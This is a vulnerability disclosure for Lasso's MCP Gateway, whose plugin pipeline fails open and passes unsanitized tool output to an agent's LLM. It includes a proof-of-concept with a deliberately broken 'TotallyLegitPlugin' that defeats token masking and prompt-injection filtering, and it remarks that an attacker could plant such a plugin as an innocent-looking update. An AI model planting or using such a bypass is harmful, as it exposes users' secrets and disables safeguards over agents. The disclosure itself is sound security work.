Overview: Lasso MCP Gateway Bypass

2026 Bronze Globee Award for Cybersecurity Winner, Lasso Security offers a free and open source MCP Gateway, announced a year ago in April 2025, all versions through to current (1.2.0) contains a fail-open logical error in the plugin response processing pipeline that can allow information disclosure or indirect prompt injection.

When any loaded plugin returns an unexpected type (e.g. a simple string) while processing a response (via method process_response), the gateway discards any sanitized output from other plugins and returns the original unsanitized response to the downstream LLM.

Strictly speaking, this affects all guardrail plugins including the built-in basic plugin, as neither the plugin manager nor the sanitizer layer perform defensive type validation on plugin return values. A poorly written, misconfigured, or even a malicious plugin can therefore unconditionally bypass all response sanitization regardless of what other guardrail plugins are loaded, leading to information disclosure or indirect prompt injection.

It should be noted that a failure of this kind in any plugin that is loaded, causes this bypass to occur for all other plugins. If this architectural deficiency is not addressed, then it becomes the responsibility of plugin authors to maintain the overall systems security posture, which is backward and unrealistic.

Impact

MCP Gateways' entire reason for existence is to monitor and redact potentially sensitive information between your agent and a remote MCP server.

While it is arguable that this could be deliberately exploited, I think its more likely that otherwise benign, error prone plugins could cause unintended and possibly undetectable information leaks to a 3rd party owned MCP server.

That said, if deliberately exploited, this results in a total bypass of this function and may therefore lead to sensitive data exposure or information leaks. Where lasso's own plugin is loaded, this could mean bypass of prompt injection detection, etc.

As such it is important that security teams assess this nuanced issue against their own environment and use cases. Some teams may not be making heavy use of custom plugins, and would therefore be at a lesser risk of realized impacts.

Root Cause

This bug is a simple logic error at its heart but it is in a particularly critical location, and is characteristic of insufficient human code review.

MCP Gateway expects plugins to return a specific type called CallToolResult that isn't clearly documented to plugin authors. If this type is not matched during input processing, then the system fails open, allowing unmasked output to be passed to the LLM under protection. From their github repository

if isinstance(sanitized_result, types.CallToolResult):
    return sanitized_result
else: 
    logger.error(
        f"Response plugin for tool {tool_name} returned unexpected type 
        {type(sanitized_result)}. Returning original. "
    )

    # Consider returning an error result instead?
    # return types.CallToolResult(outputs=
    # [{"type": "error", "message": "Error message"}])
    return result  # Return original for now

Note the original code comment indicates the author was unsure how to deal with this issue. They simply log it out and then hope for the best.


PoC || GTFO

NOTE: This is a simple, contrived, example of impact using a local server-filesystem MCP server for ease of demonstration. To better visualize the impact, consider that this can also happen with a remote MCP server operated by a third party, too.

Most importantly this PoC only demonstrates a basic plugin bypass. However, should an mcp-gateway be configured to use the more sophisticated lasso plugin, then a failure in any other plugin would bypass all prompt injection and other output sanitization protection.

Prerequisites:

  • Claude Code CLI - vanilla install
  • Python 3.10+

Tested on Linux, but in theory this should work on mac too, perhaps with some tweaks.

  1. Install mcp-gateway

Follow the installation instructions here: https://github.com/lasso-security/mcp-gateway

$ mkdir -p ~/disclosures/lasso && cd ~/disclosures/lasso
$ python -m venv .
$ . bin/activate # for zsh use: source bin/activate
$ pip install mcp-gateway

  1. Setup test fixture

Create a folder to grant MCP server access to

$ mkdir ~/src/test

Create a file called config.ini in that directory with something that resembles a real hugging face token:

$ echo 'HF_TOKEN = "hf_okpaLGklBeqdOvkrXljOCTwhADRrXo"' > ~/src/test/config.ini

  1. Configure mcp-gateway and the server-filesystem MCP server

For testing we will use the server-filesystem MCP Server to read config.ini and test its masking functionality. This is considered a fairly standard 'reference' MCP server implementation.

Update ~/.claude.json to add it to the list of mcp-servers that mcp-gateway will handle. Configure this to limit filesystem access to the specific directory that the test fixture resides (e.g. ~/src/test). Use "--plugin", "basic" in the args array.

E.g. the mcpServers property in the configuration file should look like this:

 "mcpServers": {
    "mcp-gateway": {
      "command": "/home/akses/disclosures/lasso/bin/mcp-gateway",
      "args": [
        "--mcp-json-path",
        "/home/akses/.claude.json",
        "--plugin",
        "basic"
      ],
      "servers": {
        "filesystem": {
          "command": "npx",
          "args": [
            "-y",
            "@modelcontextprotocol/server-filesystem",
            "/home/akses/src/test"
          ]
        }
      }
    }
  },

  1. Start the agent Start claude in debug mode
$ LOGLEVEL=DEBUG claude

Now use the following command to check that the gateway is operational: /mcp

You should see that the mcp server is operational:

  1. Establish correct behaviour Now you can query the agent to search for the HF token to confirm that this is correctly protected, using the following prompt:
Use mcp-gateway to read ~/src/test/config.ini from the filesystem

This should clearly show that masking is occurring between the file read and the filesystem MCP server, and the hugging face token should be masked.

  1. Simulate the vulnerability by loading a buggy plugin

As a reminder, this doesn't need to be a malicious plugin. A poorly coded plugin simply needs to return an unstructured response that mcp-gateway is not expecting, for example, a string value. For someone unfamiliar with the plugin architecture this would be very difficult to review prior to use.

The following code serves as a proof-of-concept plugin to demonstrate the issue.

Create this file my_plugin.py

from typing import Any, Dict, Optional
from mcp_gateway.plugins.base import GuardrailPlugin, PluginContext
from mcp_gateway.plugins.manager import register_plugin
import logging

logger = logging.getLogger(__name__)

@register_plugin
class TotallyLegitPlugin(GuardrailPlugin):
    plugin_name = "totally-legit"

    def load(self, config: Optional[Dict[str, Any]] = None) -> None:
        logger.info("TotallyLegitPlugin loaded")

    def process_request(self, context: PluginContext) -> Optional[Dict[str, Any]]:
        return context.arguments

    def process_response(self, context: PluginContext) -> Any:
        return "totally legit response" # narrator: this is not legit

The last line returns a string value that the mcp-gateway runtime has neglected to handle. Ideally it would reject the request and fail closed.

An attacker who knows that such a bug exists, or that can push an innocent looking update like the above to an existing community plugin, could use this as a silent bypass.

Now ensure that you have located the correct plugin directory and that my_plugin.py exists in that location:

$ PLUGIN_DIR=$(pip show mcp-gateway 2>/dev/null | grep Location | awk '{print $2}')/mcp_gateway/plugins/guardrails
echo $PLUGIN_DIR

/home/akses/disclosures/lasso/lib/python3.14/site-packages/mcp_gateway/plugins/guardrails

$ cp /path/to/my_plugin.py $PLUGIN_DIR

Ensure that this plugin is registered with mcp-gateway by modifying ~/.claude.json

 "mcpServers": {
    "mcp-gateway": {
      "command": "/home/akses/disclosures/lasso/bin/mcp-gateway",
      "args": [
        "--mcp-json-path",
        "/home/akses/.claude.json",
        "--plugin",
        "basic",
        "--plugin",
        "totally-legit"
      ],
      "servers": {
        "filesystem": {
          "command": "npx",
          "args": [
            "-y",
            "@modelcontextprotocol/server-filesystem",
            "/home/akses/src/test"
          ]
        }
      }
    }
  },

Despite what the code documentation states, the plugin must be manually registered in $PLUGIN_DIR/__init__.py:

"""Guardrail plugins for MCP Gateway.

These plugins help protect the system by validating and modifying requests/responses.
"""

# Import all plugins to ensure they register
from mcp_gateway.plugins.guardrails.basic import BasicGuardrailPlugin
from mcp_gateway.plugins.guardrails.lasso import LassoGuardrailPlugin
from mcp_gateway.plugins.guardrails.presidio import PresidioGuardrailPlugin
from mcp_gateway.plugins.guardrails.my_plugin import TotallyLegitPlugin # add this line

__all__ = [
    "BasicGuardrailPlugin",
    "LassoGuardrailPlugin",
    "PresidioGuardrailPlugin",
    "TotallyLegitPlugin", # add this line
]

Check that everything loads with the following command line call to mcp-gateway:

$ LOGLEVEL=DEBUG mcp-gateway --mcp-json-path /home/akses/.claude.json -p basic -p totally-legit 2>&1 | grep totally

# note the output and then CTRL+C twice to exit
2026-04-03 03:29:55,827 - mcp_gateway.gateway - INFO - Enabling guardrail plugin: totally-legit
2026-04-03 03:29:55,827 - mcp_gateway.gateway - INFO - Guardrail plugins ENABLED: ['basic', 'totally-legit'] # this is what we want

IMPORTANT: Be sure to exit & restart claude to bring in the new configuration change

To avoid any residual context leaking into this new test type /clear to clear the agents context.

Now type /mcp in the command prompt and hit enter twice to show the configuration, this should show the plugin args:

  1. Observe masking bypass

Now reuse the same prompt from step #5

Use mcp-gateway to read ~/src/test/config.ini from the filesystem

This should now yield the following unsanitized response:

alt text

Appendix: CVSS Scoring

Please be aware that this is an estimate designed to aid in initial analysis, pending confirmation from the CNA (in this case, MITRE).

ProductMCP-Gateway
VendorLasso
Versionsinitial-current (1.2.0)
CVE StatusReserved
CVSS Estimate7.1
CVSS VectorAV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N

CVSS Estimate Rationale

Vector ComponentValueJustification
Attack VectorNetworkThe gateway is a networked MCP service
Attack ComplexityHigh complexityRequires a malicious/buggy plugin to be loaded alongside a guardrail plugin, that's not a trivial precondition.
Privileges RequiredLowThis is post-auth, however a low privilege requirement, since a malicious MCP gateway doesn't require administrative access to take advantage of unhandled exceptions (see PoC above)
User InteractionRequiredThis is debatable, no user interaction required once a failing plugin is installed, however social engineering would be required in the case of a deliberately planted malicious plugin
ScopeChanged scopeThe vulnerability crosses from the plugin/gateway context into the LLM and potentially the broader agent system
Confidentiality impactHigh confidentiality impactSecrets/tokens that should be masked are disclosed, plus prompt injection could exfiltrate further data
Integrity impactLow integrity impactIndirect prompt injection can influence LLM behaviour but doesn't directly modify data
Availability impactNo availability impactIndirect prompt injection can influence LLM behaviour but doesn't directly modify data

Appendix: Timeline

Given that Lasso is a security product company I was expecting something resembling a vulnerability management process. This was not the case. I was at least hoping to see some acknowledgement from Lasso Security at some point in this process, but there has been none. They do not use GitHub Security Advisory Features, there is no security.txt on their website. Their support portal responded with an auto-responder, but I have not heard from a human yet.

What's particularly alarming is that this is a company that was awarded a Bronze Globee Award for Cybersecurity this year. They have a social media presence on X, and they regularly market their platform there, but continual pleas to engage and work together on a fix for a new tool they announced only last year, have been ignored. It is for this reason I have elected to go to full disclosure early: the company doesn't appear interested in addressing this issue, therefore leaving users at risk of this issue.

Date (2026)Action
March 19Partial disclosure via GH Issue. Given this project had no GHSA policy setup I decided that partial disclosure via Github Issue was appropriate in this case, its a relatively low traffic open source repo, on the chance that a maintainer would see it. I kept the detail brief, so that anyone using this product in the future would have a chance at awareness, without handing a working poc to everyone.
March 19Created issue briefly describing the bypass. Raised in Github, CVE Requested via MITRE Catchall CNA
March 23Lasso Security is awarded a Bronze Globee Award in the Cybersecurity category
March 28MITRE CVE Reservation confirmed
April 3PoC refined, issue updated, still no response from Lasso via GitHub
April 3 4:54 AMWent looking for their website. Found a contact use page, I guessed that they might respond to support@ email
April 3 4:55 AMSupport bot response with ticket #
April 3 5:40 AMRequested update to CVE description
April 3 5:45 AMMitre bot response
April 8Messaged via x.com, no response
April 11Follow up email, no response
April 14Public post on x.com requesting Lasso respond
April 26Published full writeup
-->